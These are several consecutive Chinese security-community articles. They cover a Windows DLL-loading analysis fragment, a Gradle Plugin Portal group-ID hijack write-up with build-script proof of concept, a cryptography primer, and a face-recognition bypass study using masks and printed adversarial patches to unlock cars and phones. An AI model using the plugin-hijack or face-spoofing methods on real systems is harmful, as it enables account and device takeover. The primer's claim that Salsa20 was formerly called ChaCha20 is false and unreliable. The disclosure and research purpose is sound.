最后，该函数将返回句柄值`rsp+48`。从现在开始直到返回用户域Userland，一切都与清理机器状态（结构，单个列表，访问状态等等）有关，当我们最终到达Userland（
**LdrpFindKnowDll** ）时，我们将拥有句柄，STATUS将为0。
>
> 这个句柄与LoadLibrary在完成所有操作时将返回的模块句柄无关，这只是一个将在“内部”使用的Section对象的句柄。更重要的是，在这一点上，DLL甚至没有被加载到进程的地址空间中，我们将在第2部分中看到这是如何发生的。
# 结论
如你所见，内核中有很多代码，并非一切都是简单直接的，我敢肯定事情非常复杂。请记住我们将进入更复杂的东西。另一方面，我留下了大量没有评论也没有提及的代码、结构、列表等，我只是试着总结我所认为最重要的东西。当然，如果你有任何疑惑和问题，请毫不犹豫与我联系。我希望你喜欢它并在第2部分见到你。 | 社区文章 |
## 前言
该漏洞的利用允许Gradle Plugin Portal上的任何插件被攻击者劫持。
## 摘要
buildscript {
repositories {
gradlePluginPortal()
}
dependencies {
/*
* In practice, this attack could have been leveraged against any plugin on
* the Gradle plugin portal.
* I created my own plugin for testing purposes.
*/
classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
}
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")
此插件的组ID是`org.jlleitschuh.testing.security`（开头的`gradle.plugin`是由Gradle添加的）。
由于Gradle Plugin
Portal中存在漏洞，攻击者可以将其插件的组ID设置成与网站上已有的任何插件的组ID相同，并在他们不应拥有的组下发布恶意插件。攻击者无法覆盖现有版本的artifacts，但他们可以发布更新版本。当用户使用通配版本作为依赖项时，那么当下次用户运行artifacts时，Gradle将下载最新版本的插件（现在是恶意的），然后将对插入用户进行溢出攻击。
## 漏洞发掘
由于spotbugs团队还没有为他们的插件发布一个补丁来支持Gradle
4.10（漏洞版本），因此我发现了这个问题。为了使用4.10，我更新了我的内部版本，但这个问题阻止了我的更新。由于我已经拥有其他插件的Gradle
Plugin Portal帐户，因此我决定在不同的artifacts下发布spotbug的指定版本。
我fork了其repository，并对`build.gradle`进行了足够数量的更改，这样我就可以成功地运行`publishPlugins`了。
发布的结果可以在这里找到(<https://plugins.gradle.org/plugin/com.github.spotbugs.temporary>)
，此artifacts已被Gradle团队成员转移了，以防止它与将来更新版本的spotbug发生冲突。
由Gradle Plugin Portal提供的，关于如何应用此新发布的插件的示例代码段如下所示：
buildscript {
repositories {
maven {
url "https://plugins.gradle.org/m2/"
}
}
dependencies {
classpath "gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4"
}
}
apply plugin: "com.github.spotbugs.temporary"
引起我注意的是，spotbugs插件竟与我自己的完全相同。
官方版本： `gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.2`
我的版本： `gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4`
刚意识到这一点，我就立刻向Gradle社区Slack频道的Gradle Plugin Portal主管Eric
Wendelin提交了这个漏洞。然而，当时我还没有完全明白其中的意义。
## POC
这个时候已经是凌晨1点了，但我怎么能现在停下呢？我现在必须要做点什么！
以下测试使用的是由我注册的两个完全不同的Gradle Plugin Portal帐户完成的。
我创建了以下插件来实现POC，可以将这个插件看作是任意一个作者在互联网上发布的一个插件，这个插件可为Gradle构建添加一些方便的安全功能。
plugins {
java
id("com.gradle.plugin-publish") version "0.9.10"
id("java-gradle-plugin")
}
group = "org.jlleitschuh.testing.security"
version = "0.4.0"
dependencies {
compileOnly(gradleApi())
}
gradlePlugin {
(plugins) {
"securityPlugin" {
id = "org.jlleitschuh.testing.security-plugin"
implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
}
}
}
pluginBundle {
description = "Useless security testing."
vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
website = "https://github.com/JLLeitschuh/gradle-testing"
tags = listOf("dont-use")
(plugins) {
"securityPlugin" {
id = "org.jlleitschuh.testing.security-plugin"
displayName = "Security testing plugin"
}
}
}
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
@Override
public void apply(final Project target) {
target.getLogger().lifecycle("A security plugin");
}
}
用户认为这个插件非常有用，但他们不希望每次都要不停地更新版本，所以他们想使用这样的通配版本。
buildscript {
repositories {
gradlePluginPortal()
}
dependencies {
/*
* In practice, this attack could have been leveraged against any plugin on
* the Gradle plugin portal.
* I created my own plugin for testing purposes.
*/
classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
}
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")
他们将从Gradle Plugin portal中获取的版本是0.4.0版本。如果他们要运行 `./gradlew`，他们会在控制台中看到以下内容。
./gradlew
> Configure project :
A security plugin
...
现在，攻击者出现了，并且当他看到您在您的artifacts中使用了通配版本，或许他们会想试图劫持一些插件并看看将发生什么。利用这一漏洞，他们可以将自己的代码添加到插件并且发布，以下是攻击者会将代码更改的内容。
plugins {
java
id("com.gradle.plugin-publish") version "0.9.10"
id("java-gradle-plugin")
}
group = "org.jlleitschuh.testing.security"
version = "0.4.1"
dependencies {
compileOnly(gradleApi())
}
gradlePlugin {
(plugins) {
"securityPlugin" {
/*
* This is the plugin that the user is already using.
*/
id = "org.jlleitschuh.testing.security-plugin"
implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
}
"securityPluginTemp" {
/*
* This is just an unused plugin here to make the com.gradle.plugin-publish
* and java-gradle-plugin happy as well as the Gradle Plugin Portal when
* we go to upload our malicious plugin.
*/
id = "org.jlleitschuh.testing.security-plugin.tmp"
implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
}
}
}
pluginBundle {
description = "Useless security testing."
vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
website = "https://github.com/JLLeitschuh/gradle-testing"
tags = listOf("dont-use")
(plugins) {
"securityPlugin" {
/*
* Note how I'm declaring two plugins above but only publishing one
* plugin here.
* This is because the Gradle Plugin Portal used to only validate that
* the id of the plugin portal was not taken, but not the group.
*/
id = "org.jlleitschuh.testing.security-plugin.tmp"
displayName = "Security testing plugin"
}
}
}
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
@Override
public void apply(final Project target) {
target.getLogger().lifecycle("A security plugin. I'm malicious!");
}
}
攻击者将他们的插件版本发布到Gradle插件网站。现在他们所要做的就是等待。
那么下一次我们的用户出现并运行`./gradlew`时，他们就会收到这个。
./gradlew
Download https://plugins.gradle.org/m2/gradle/plugin/org/jlleitschuh/testing/security/gradle-testing/0.4.1/gradle-testing-0.4.1.pom
> Configure project :
A security plugin. I'm malicious!
...
用户成功被攻击者pwn了。
## Gradle团队的回应
Gradle团队很快回复了我提交的漏洞。他们还告诉我，谷歌团队在我发现它的一周之前，就已经意识到这个漏洞，但是，Google报告并没有提到，并且Google提供的版本只要求用户更改应用于以下内容的插件。
apply(plugin = "org.jlleitschuh.testing.security-plugin.tmp")
## 修复
尽管未提及此漏洞，但此漏洞的修复程序作为Gradle Plugin Portal审批策略更新的一部分发送到了Gradle Plugin Portal。
当被问及是否进行了审计以确保此安全漏洞不会被恶意利用时，Eric Wendelin回答“是的，同时我们也并没有发现恶意行为存在的证据”。
## 关键点
像Gradle Plugin Portal，Maven Central Repository以及JFrog
Artifactory这样的artifacts服务器都是攻击者的理想目标。如果攻击者可以劫持artifacts，他们可以在全球数百甚至数千台机器上执行任意代码。
## 如何保护自己
虽然这些提示不能保护您免受此类攻击，但如果不执行这些操作，就可能会使您或您的账户易受此类攻击。
1.始终通过HTTPS而不是通过HTTP来下载您的artifacts。
2.不要用通配版本来构建依赖项。
3.始终使用受信任的artifacts服务器，如Maven Central和Gradle Plugin Portal等。
4.使用进行过安全审计的公司的artifacts镜像。
原文链接：<https://medium.com/bugbountywriteup/leveraging-gradle-plugin-wildcard-versions-for-remote-code-execution-24e15112c432> | 社区文章 |
# 密码学基本原理（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
连载系列——It works,why?
在做密码学相关项目的时候，经常可以看到很多程序员，对密码学有哪些技术，每个技术怎么用一无所知。在选择合适的密码学技能来达成目标的时候，总是选择自己最熟悉的方案，这不一定是最好的方案，甚至不一定是合格的方案。后果往往有两个：一个是很多代码潜伏着安全隐患；另一个则是，很多算法并不如想象中那样工作。我们时时可以见到程序员对着电脑沉思，这个算法不能工作，Why？又时时可以见到，这个算法能工作，Why？因此我将在「It
works,why?」系列文章中，论述常见的算法和常见应用，其中的“Why”。
* * *
本文简述了传统密码学的常见算法和相关特征。
## Digest
摘要为一个函数H，对任意数据d，有h=H(s)。同时至少满足下面特性1，其余特性为额外要求。
1. 对相同的数据d1=d2，计算得到h1=H(d1)和h2=H(d2)，必然有h1=h2，但不要求h1=h2的情况下，必然有d1=d2；
2. 根据h计算任意一个可能的d极其困难（安全性）；
3. d服从随机分布的情况下，h的分布足够随机（均匀性）。
## hash系列函数
hash系列中最著名的即MD5，其后继者为SHA1，SHA2，SHA3等，但实际上这几个都是密码学hash函数，非密码hash常用于快速计算均匀散列值（例如hashtable），代表有CRC
（实际上CRC主要的目地是校验，而不是散列）, FNV，Murmur。
以上几个非密码hash函数的对比可以看这里：<https://softwareengineering.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed#145633> 。
hash函数需要注意长度。一般来说，长度越长越安全（越难被找到一个碰撞值），但是过于长的值会在保存和使用上产生困难。
## Rainbow table
Rainbow table是一种通过预先计算来碰撞的手段。
从粗略的角度来说，你可以认为这就是一个巨大的反向hash表，保存了所有计算过的hash和对应的碰撞数据，但通过计算可知，这样的反向表会占用巨大的存储空间。
而彩虹表采用巧妙的算法缩减了空间消耗。其基础思想是，对某个碰撞数据，计算其hash，随后通过某个算法R，将这个目标hash再映射到另一个碰撞数据上去。通过这种方式，一个碰撞数据可以持续的计算出一串不同的hash，假设这个长度为n，我们最后保留最终一个hash和最初一个碰撞数据。
在检索某个hash的原始碰撞数据时，我们可以利用R将其映射为碰撞数据(但不是我们需要的那个碰撞数据)，进而计算hash串并检测是否在反向表里。如果表里存在这个hash的碰撞数据，那么在生成n步的hash串的过程中，必然能在反向表里发现命中，而当发现命中后，就可以通过原始碰撞数据算出整个碰撞链，从而找到该hash的对应碰撞数据。
从算法分析的角度来说，这是一个空间换时间和时间换空间同时存在的巧妙算法，利用反向表计算原始碰撞是用空间换时间，用hash串来压缩空间消耗是用时间换空间。
另一个细节是hash链的碰撞。当hash链在某个节点相同，后续链条必然完全相同。这大大降低了hash串的效率，因此彩虹表采取了一个变形，算法R在n步中每一步都各不相同(实际一般是将n当作参数)，这样使得hash碰撞只发生在一个点上，由于算法在每个步骤上各自不一，因而得名彩虹表。
## KDF
密钥生成算法( KDF
)是一类算法的统称，用于将一个密码/密钥变换成另一个(或多个)密码/密钥。在这个过程中，会提供很多额外特性，例如：符合特定格式、防御暴力穷举攻击、保存后难于破解原始密码等。
KDF的最知名场景，就是密码保存问题。用户的密码不应直接保存，这样在万一数据库泄漏时就会泄漏原始密码，而单纯hash会导致用户密码遭受彩虹表攻击，一般解决这个问题的方法是对密码加盐。
但是盐是加在前面还是后面呢？以我个人的分析来看，似乎是没有区别的。即s+salt和salt+s都能保证安全，当然，更好的方法是用scrypt或bcrypt，他本身就有专门的函数保证密码安全保存，这可比加盐好使多了。
## 最佳实践
相信大部分读者都可能知道MD5和SHA1不安全的事了，这两者虽然还能完成摘要的用途，但是并没有安全保证了。如果你需要一个安全的hash算法，我推荐sha2，sha3目前并没有进入主流系统，而且执行速度还是略慢。
另外，如果可以选择的话，在sha2算法族里我推荐SHA-512/256或SHA-512/224，这两个算法有助于避免长度扩展攻击。
## Encryption and Decryption
对称加密解密为一对函数，加密为E，解密为D。对任意数据d和密钥p，满足下面要求1和2。
1. 加密为e=E(d, p)，解密为d=D(e, p)；
2. 攻击者得知E，D，e的情况下，无法反推d和p；
3. 在条件2的基础上，攻击者能得知d和对应e的情况下，无法反推p（已知明文攻击）；
4. 在条件2的基础上，攻击者能构造d并得知对应e的情况下，无法反推p（选择明文攻击）。
对称加密有几种可能的变形情况，例如E和D为同样的函数，一次加密第二次解密，或者由生成算法构造出密钥p和解密密钥p’，在其中密钥p可以推算变换为解密密钥p’，但这其实仍然符合上面的描述。因为解密时可以使用d=D(e,
p’)，而p’=G(p)，因此d=D(e, G(p))，即可认为d=D’(e, p)。对于密钥p无法推算出解密密钥p’的情况，请参考下面的“非对称加密”。
## DES/AES加密解密算法
加密算法中最有名的是DES和AES。关于这两个，我们不赘述。
## 密码模式
加解密算法一般都是以块模式运作的。即每个加密算法都有一个特定的长度，他只能处理这个长度的数据。块密码模式算法将基于某个特定的块算法，将其应用于流上。
最简单的用法是重复进行加密。取明文的前N字节加密，得到N字节密文，重复直到得到最后一块数据，数据的长度必然大于0小于N，对尾部的数据补足0，最后将所有密文联合起来，得到最终密文，这种模式叫做ECB模式。
ECB模式的好处是简单，但ECB并不能防御内容替换攻击。攻击者可以通过某种方式获得一个数据的加密形式（选择明文）B’，然后将某个加密后的块B’替换原始块B。以此，虽然攻击者并不知道原始内容，但是可以替换其中的部分内容。
人们对ECB做了一点改进，使用上一个块的加密结果，对下一个块做干扰（具体使用XOR），如此一来，对任意一个块的变更会导致后续块全部都无法解密。第一个块没有上一个块，也就没有加密结果，所以CBC需要一个初始向量IV来初始化干扰，而先加密上一个块的结果，再和当前数据XOR的算法，被称为CFB。CFB和CBC仅仅顺序上有区别，但是CFB可以用于流式加密，而CBC不行，因为CBC必须得到一个完整块，才能计算加密，而CFB是预先算出mask，用XOR获得结果。
CFB再略变化一点，就可以构成OFB。OFB取的是XOR前的结果，因此加密序列并不受明文的影响，只受IV和key的影响。你可以想像，OFB是一个由IV和key已经决定好的，无限长的mask，逐步XOR到明文上。
但是CFB和OFB都有一些缺陷，例如明文和密文的异或对应性。在确定模式为CFB或OFB的前提下，对某些特定位置遍历所有可能空间，就能在不了解解密结果的前提下遍历所有明文可能性。这个问题被用于ss的主动探测上。
## Salsa20
Salsa20原来叫Chacha20，是一种经过特别设计的密码系统，在未经优化的CPU上拥有非常快的执行速度。
## 最佳实践
可能和大家想像的相反，一般没事不会推荐直接使用加密函数本身，而是推荐使用AEAD算法。这里有一份2015年密码学最佳实践，按照推荐，是使用AES-GCM或Chacha20-Poly1305最好，这两种都是AEAD。
如果一定要用加密算法，而非AEAD的话，推荐使用NaCl（<https://nacl.cr.yp.to/stream.html>
），它的加密算法默认选择是XSalsa20/20(Salsa20的一个变形)。
## Message authentication code
消息验真，不同于摘要，要求的是拦截者无法伪造，其前提条件是发送者和验证者有一个共同的秘密p。本质上看，这个就是签署(sign)，但是一般我们讲sign都是指非对称的sign，MAC是对称式的，对称签署为两个函数，签署为S，校验为V，对任意数据d和密钥p。
1. 对于签署获得的v=S(d, p)，可以用V(d, v, p)来检验d和v是否成对；
2. 攻击者在得知S，V，v，d的情况下，无法反推p。
签署算法经常和摘要算法合用，即对数据d先使用摘要H得到摘要，再计算签署，即v=S(H(d), p)，验证时使用V(H(d), v, p)来验证。
主流消息验证算法往往会使用hash或加密算法来完成。
## HMAC签署算法
HMAC（<https://en.wikipedia.org/wiki/HMAC>
）算法是对称签署中最著名的一个系列，HMAC不是一个算法，而是一类算法，这个算法基于一个hash函数（而且显然，要求是安全的hash函数），根据hash选择不同，HMAC也会有所不同。HMAC的基本想法是，将p拼接在数据d前面，做hash。根据安全的hash函数的性质，攻击者无法从v反推原始数据，即使他们拥有部分的明文（被签署数据d），而在不知道p的前提下，也无法构造出签名v。细节来说，HMAC要求对密钥p进行变形，得到两个密钥，并重复“拼接-hash”过程两次。
## CMAC系列
MAC系列的介绍可以看这里：<https://en.wikipedia.org/wiki/Message_authentication_code>
。这里我们特别介绍一下CBC-MAC这种算法。这种算法是使用加密算法来完成验证的典型代表，拥有很多衍生，例如OMAC/CMAC/XMAC等。
上面我们简要介绍过CBC，这个模式循环使用前面块的数据来扰乱下一个块，然后再完成加密，而CBC-MAC通过密钥构造一个k1，配合IV=0来计算输出，取最后一个块输出，再用密钥构造一个k2，加密最后一个块，形成MAC数据。基于基本知识我们知道，对任意一个数据输入改变，最后的输出会发生变化，并且在没有密钥时无法构造MAC数据。
## 最佳实践
首先，最普及的算法是HMAC，有条件的话尽量选择这种。
既然MD5和SHA1不安全了，那么尽量不要选择HMAC-MD5和HMAC-SHA1，尽管我只看到了SHA1碰撞的实例报告，还没见过HMAC-SHA1的。但是还是尽量不要冒险，使用HMAC-SHA2。
另一个就是，不要试图自己实现MAC算法，这类算法实现的难度比你想象的要高很多，如果你需要的话，推荐使用NaCl。
## AEAD
AEAD是近代的一个密码模式，主力解决这么一个问题。我们上面介绍了加密和MAC，但是在日常使用中，我们既需要加密，也需要MAC，例如Alice可能写了一封情书给Bob，那么，她同时需要保证情书不会被第三方看到(加密)，又要保证Bob不会以为她写了一堆乱码(签署验真)，虽然听起来很愚蠢，正常人看到一堆乱码的时候，当然知道是被人替换了，但我们就当作Bob是一个智商不足的傻瓜（恋爱中的人都是傻瓜）。
解决这个需求，我们有三种模式。
Encrypt-then-MAC (EtM)，首先加密，然后用另一个密钥对密文进行签署；
Encrypt-and-MAC (E&M)，首先加密，同时用同一个密钥对明文进行签署；
MAC-then-Encrypt (MtE)，首先签署，然后用同一个密钥对总和数据进行加密。
然后，据说这些模式都是有缺陷的。缺陷具体笔者未参透。有兴趣的朋友，这里有本九阳神功（<https://cseweb.ucsd.edu/~mihir/papers/oem.pdf>
）送给你，欢迎交流。
总之，为了解决上面的问题，产生了一个新的概念，AEAD（<https://en.wikipedia.org/wiki/Authenticated_encryption>
）。在一个算法中进行加密和验证。
## GCM
GCM是一种CTR算法。CTR是一种密码模式，这种模式利用数据的块计数作为扰动变量，来使得同样的输入不产生同样输出。这样做的最大好处在于，每个块的计算彻底变成了互相不关联的过程，因而可以在分布式系统上进行计算。其他模式，即便是OFB，其输出流也是串行的。当输入速度高于mask流时，就会出现算法无法利用CPU的问题。
<http://blog.csdn.net/t0mato_/article/details/53160772>
###
## 最佳实践
AEAD的选择不算太多，这份推介（<https://www.cnblogs.com/windydays/p/2015_modern_crypto_practice.html>
）上推荐的是使用AES-GCM或Chacha20-Poly1305。NaCl的默认选择是XSalsa20-Poly1305。预订要有AES256GCM，但是目前未实现。
Public-key cryptography
公钥密码体系是一个非常复杂的系统，这个系统基本涵盖以下几个领域：
key exchange
public key encryption
public key signature
## Key exchange
密钥协商，也叫密钥交换 ，简称Kx，为一个过程。假设Alice和Bob可以通讯，此时算法需要确定一个协商序列同时满足：
1. Alice和Bob能够得到一个共享的秘密s；
2. 可以监听通讯内容的监听者Eve无法通过监听内容推算出s；
3. 前向安全。所谓前向安全，指未来的密钥泄漏不会泄漏之前的通讯内容(可选要求)。
注意，虽然被动式的Eve并不一定能够躲避序列，但是主动攻击者Mallory是一定可以截听内容的，无论协商算法如何复杂，Mallory可以分别和Alice和Bob进行协商过程，使得Alice相信自己是Bob，Bob相信自己是Alice。（MITM
attack）这个攻击无法通过密钥协商机制进行躲避，需要在密钥协商之上进行身份交叉认证才行。
Public-key encryption
公钥加解密为三个函数：生成为G，加密为E，解密为D。对任意数据d，满足下面要求1-3：
1. G可以生成私钥和公钥，即s,p=G()，其中s为私钥，p为公钥。公钥可以公开；
2. 加密为e=E(d, p)，解密为d=D(e, s)；
3. 攻击者在得知G，E，D，p，e的情况下，无法反推s和d。
注意，关于p和s只是说，p无法推出s，并没有说，通过s可以推出p，只要通过函数G能够生成成对的s和p即可。ECC和DH体系中可以用s推导出p，但是RSA中单有s是不行的，实际是通过另两个数(质数pq)生成，两者无法互相推导。
* * *
【It works,why?】系列更多内容，请见饿了么SRC微信公众号！ | 社区文章 |
**作者：李四伟@星舆实验室
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org**
**相关阅读：[“刷脸时代”你的脸就是我的脸 -- 人脸识别漏洞分析 (上）](https://paper.seebug.org/1739/
"“刷脸时代”你的脸就是我的脸 -- 人脸识别漏洞分析 \(上）")**
大家好, 我是星舆车联网实验室李四伟。星舆取 “星辰大海, 舆载万物”之意, 是专注于车联网技术研究, 漏洞挖掘和工具研发的安全团队。团队成员在漏洞挖掘,
硬件逆向与AI大数据方面有着丰富经验, 连续在GeekPwn等破解赛事中斩获奖项, 并获众厂商致谢。团队研究成果多次发表于DEFCON等国内外顶级安全会议。
## 人脸识别漏洞分析的方法
主要对2D人脸识别漏洞进行分析，最后会将在2D人脸识别系统验证通过的方法在3D人脸识别下做验证测试。人脸漏洞分析的方法思想就是解析人脸识别整个流程每个子任务，基于每个子任务的原理进行分析对抗，最后再整合进行整体任务对抗。人脸识别是一个任务的集合，包含众多的子任务，基于对各个子任务的分析以及整体任务的分析，总结了人脸识别漏洞验证的方法如下图所示[7]：
基于以上方法我们会对人脸识别整个任务进行分析测试，验证人脸识别系统的安全性，并对人脸识别的漏洞进行分析。为了保护用户的隐私问题，以及维护厂商的安全问题，相关视频图片中的人脸，明显商标都添加了马赛克保护。
**1.人脸检测漏洞分析**
回顾整个人脸识别的过程，无论什么系统，第一步总是人脸检测，人脸检测算法的目的是准确检测到人脸位置，但是由于现实场景的复杂性，往往在算法训练的过程中无法覆盖所有场景，无法添加所有异常数据作为负类来增强数据的鲁棒性，所以当前各厂家的人脸检测算法往往会存在将特定的非人脸数据频繁误检测成人脸的情况，我们尝试一种手绘人脸攻击的方法，并设计了一个实验，测试人脸识别系统的人脸检测功能的鲁棒性。
* 测试工具：一个绘制了简单人脸五官图标的橘子
* 实验对象：装有人脸识别系统的打印机，某款汽车的车机系统，某款人脸闸机，华为某款手机
* 实验过程：将绘有人脸图标的橘子放到实验对象的摄像头前，不断的调整位置和角度
* 实验结果：测试的四种设备，都会错误的将橘子误检测为人脸，一个绘有人脸图标的橘子即可攻破人脸检测系统。 下图是绘有人脸图标的橘子被检测成人脸，成功录入某款打印机的人脸识别系统的图片：
这个结果是出乎实验前主观的预期的，但是同时又从另一个方面证明了，由于深度学习对数据的高度依赖性，再加上物理世界实际场景的复杂性，训练数据很难覆盖所有场景，而构建的用于测试的算法指标的测试集，往往也只能覆盖常见场景，所以一般我们看到的某种算法的指标，往往指的是在测试集覆盖的场景下表现的结果，在实际应用中，算法的精确率往往会低于测试结果，算法的误检率会高于测试结果，因而在算法的鲁棒性没有足够好的情况下，其实会存在很多漏洞能够被利用挖掘的，该结论同样适用于人脸识别的其他子任务，甚至是自动驾驶等等任务。
**2\. 活体检测漏洞分析**
当攻破了人脸检测，下一个阶段就是整个人脸识别系统最重要的反欺诈模块活体检测模块，活体检测可以称得上是人脸识别系统最重要的防线，大部分针对人脸识别系统的攻击都是通过活体检测防御的，一个没有活体检测的人脸识别系统基本上最简单的照片攻击都能够攻破。活体检测是一种基于人脸检测的结果，对检测到的目标是否为真实人脸进行判定的方法，可以简单的理解为对输入数据的进行一个二分类的问题。实现思路和方法很多，例如传统的基于活体和非活体颜色纹理，非刚性运动变形，材质，频域信息等差异，进行针对性设计特征的进行分类的方法，再到后来的基于神经网络自动提取特征进行分类，分类转回归等等方法。不同模态的摄像机又为活体检测提供了不同的数据源，而基于这些数据源，又可简单的分成rgb活体检测，红外活体检测，3D活体检测等等。表现在应用层面主要有两种，一个是配合式活体检测，一种是非配合式活体检测[6]。针对于不同的活体检测，应用照片攻击，视频回放攻击，人脸面具+动作，3D人脸面具的方法设计了一个实验[13]：
* 测试工具：A4纸打印的人脸rgb图片，A4纸打印的人脸灰度图片，手机播放人脸图片，硅胶制作而成的3D人脸面具
* 实验对象：带有人脸识别功能的打印机（双目摄像头，应用近红外活体检测），某款带有人脸识别功能汽车（单目摄像头，应用近红外活体检测），华为（单目摄像头，应用rgb活体检测），开源静默活体检测算法。
* 实验过程：将测试工具放置到实验对象摄像头前，调整位置角度，验证是否能够通过活体检测；测试人员佩戴3D人脸面具到实验对象摄像头前，调整位置角度，验证是否能够通过活体检测。
* 实验结果：照片攻击，视频回放攻击全部验证失败，无法通过活体检测；3D人脸面具能够绕过打印机，华为手机，开源静默活体检测算法的人脸检测及活体检测，但是由于3d人脸的工艺问题，无法识别成对应目标人物;使用人脸面具+动作的方法在面具覆盖人脸区域较大时无法通过活体检测，当面具体积减少到一定程度，能够绕过所有实验对象的活体检测。
分析该实验结果：首先红外活体检测在活体检测领域有着广泛的应用，对比不同材质在近红外摄像头下的图片，可以很直观的观测到活体检测如何对抗照片攻击，视频回放攻击。
红外图像下不同材质的物体成像结果有着明显的差距，后续我们通过在打印图片上覆盖不同反射率材质的，希望能够改变红外摄像头采集到的图像成像结果，依然失败了。但是依然存在方法绕过活体检测，即真实人脸+图片面具的方法和3D面具的方法，真实人脸+图片面具本质相当于带遮挡的真实人脸，所以在未添加遮挡限制检测的系统中，理论上有很大概率通过各类型活体检测[14]。3D人脸面具除材质外，形状结构有着高度的一致性，而硅胶材质和人脸在红外下的成像差异不明显，使用3D人脸面具绕过人脸识别存在一定可行性。
基于对活体检测的测试结果以及对公开数据集的研究，大多是对照片攻击，视频回放攻击，整张人脸图片裁减掉人眼关键位置的攻击的防御，对于局部区域遮挡没有很好的防御[15,16]。
**3\. 特征提取漏洞分析**
综合以上测试结果，活体检测绕过的难度较高，但是仍然存在可行的方法。而对于特征提取的任务，只需要调整改变输入图像的像素值，就能够影响到最终特征提取的结果。我们使用对抗样本的方法来影响特征提取结果，这种方法是人脸对抗样本在物理世界的应用。对抗样本主要思想是对输入样本添加细微的干扰，导致输出结果异常。在人脸识别的应用中，对抗样本攻击主要通过修改图像的像素信息，增加扰动信息，干扰到人脸特征提取的结果，导致提取到的特征向量与本身的特征向量距离过大，最终导致人脸匹配时，匹配结果异常。更进一步的物理世界的人脸对抗样本攻击，由于无法做到全脸的细微的干扰，往往会将扰动信息集中在固定区域[17]。
综合人脸检测，活体检测的测试结果，以及人脸对抗样本在物理世界的应用的分析，提出一种通过对抗样本+真实人脸的人脸识别绕过的方法，打印出扰动特征提取结果的对抗样本，然后真实人脸佩戴打印出来的对抗样本，进行人脸识别认证。本质和人脸带面具方法相同，只不过将面具内容替换为对抗样本。其中真实人脸+局部遮挡绕过了人脸检测和活体检测，人脸覆盖的对抗样本数据影响特征提取的结果，进而影响后续的人脸匹配过程，错误的将测试人员的人脸匹配成目标人脸，导致人脸识别的最终结果异常[18]。
整个方法的实现过程包括两部分，一部分是被覆盖特征区域的选取，另外一个是区域内对抗样本的生成。
* 覆盖区域选定：通过相关资料的调研以及使用大量数据统计，对比人脸各区域对人脸特征提取结果的影响，结果与人的主观意识相符，人脸眉间到鼻子附近区域对整个人脸特征提取结果影响较大，通过调整区域内的像素特征能够干扰到最终人脸识别的结果。部分活体检测系统，包含了对嘴巴和眼睛遮挡的判定，所以选取的区域需要保证人眼睛和嘴巴不被遮挡。基于以上结果，通过大量的数据验证测试，选取了相对较优的特征替换区域。
* 对抗样本生成：对于一个未知的人脸识别系统进行对抗样本攻击，可以称之为黑盒攻击，我们基于样本的迁移性，首先在星舆自研的人脸识别算法的基础上，完成对抗样本的训练和测试，可以称这个过程为白盒模型对抗攻击。选定位置后使用自研人脸算法进行对抗样本的训练，最终生成目标对抗样本 将生成的对抗样本打印出来，粘贴到预定覆盖的人脸位置，完成了对抗样本测试的准备。 以下是实验过程：
* 测试工具：测试人员人脸佩戴打印出来的对抗样本图片
* 测试目标：多款车辆（单目红外），打印机（双目，rgb+红外），手机（单目rgb）
* 测试过程：测试人员站到对应摄像头前，调整位置角度，验证是否能够通过人脸识别认证
* 实验结果：车辆全部通过认证，手机通过认证，打印机未通过认证 该测试验证对抗样本+真实人脸的方法能够达到预期的效果，欺骗人脸识别系统。 测试结果录制成视频在三四节实践部分展示。
## 人脸识别漏洞在智能汽车中的实践
为了验证上述方法的可实践性，我们在真实场景下进行了测试：首先获取车主照片，我们将照片通过人脸对抗模型生成对抗样本，然后打印出来，测试人员佩戴对抗样本图片，坐到驾驶员位置，开启车辆人脸识别认证，开始进行人脸识别认证。
某款车辆的测试视频，该车型的人脸识别能够作为车钥匙启动车辆，使用上述方法成功解锁并启动车辆
(<https://v.qq.com/x/page/r33024jmh4o.html>)
另一款车辆的测试视频，该车型使用人脸识别作为账号认证，登录后能够查看用户行程记录仪，行车路线图等隐私信息，使用上述方法成功解锁登 录，自由查看操作用户数据
(<https://v.qq.com/x/page/v3302fkrhm9.html>)
测试人员成功完成认证欺骗车载人脸识别系统，完成了登录，然后可以正常访问目标车主的隐私信息，正常启动车辆，控制车辆启动。在一款车型有着90%以上的成功率，另一款车基本有接近100%的成功率。
## 人脸识别漏洞在其他领域的实践
为了验证该方法的普适性，我们在某款手机的人脸识别系统以及某银行的银规级软件上进行了验证，结果如下：
**某款华为手机**
使用上述方法测试了华为某款手机的人脸识别解锁功能，使用非用户的人人脸佩戴生成人脸图案的方法成功欺骗了手机的人脸认证，解锁手机，登录到主页面，自由操纵该手机。我们将该漏洞提交给华为，并提供了一些缓解该漏洞问题的建议：增加检测算法对人脸遮挡的检测，或者增加负类数据集，提升检测算法对该场景对抗训练，优化该场景的检测效果。可通过优化活体检测算法，增加识别算法相关负类数据集来对抗该问题
华为官方认可了该漏洞在2D人脸应用场景下的可行性，并认为该问题为行业共性问题，由于是已知行业共性问题，按照非漏洞流程处理。演示视频：(<https://v.qq.com/x/page/i3302rry4tp.html>)
**银规级软件测试**
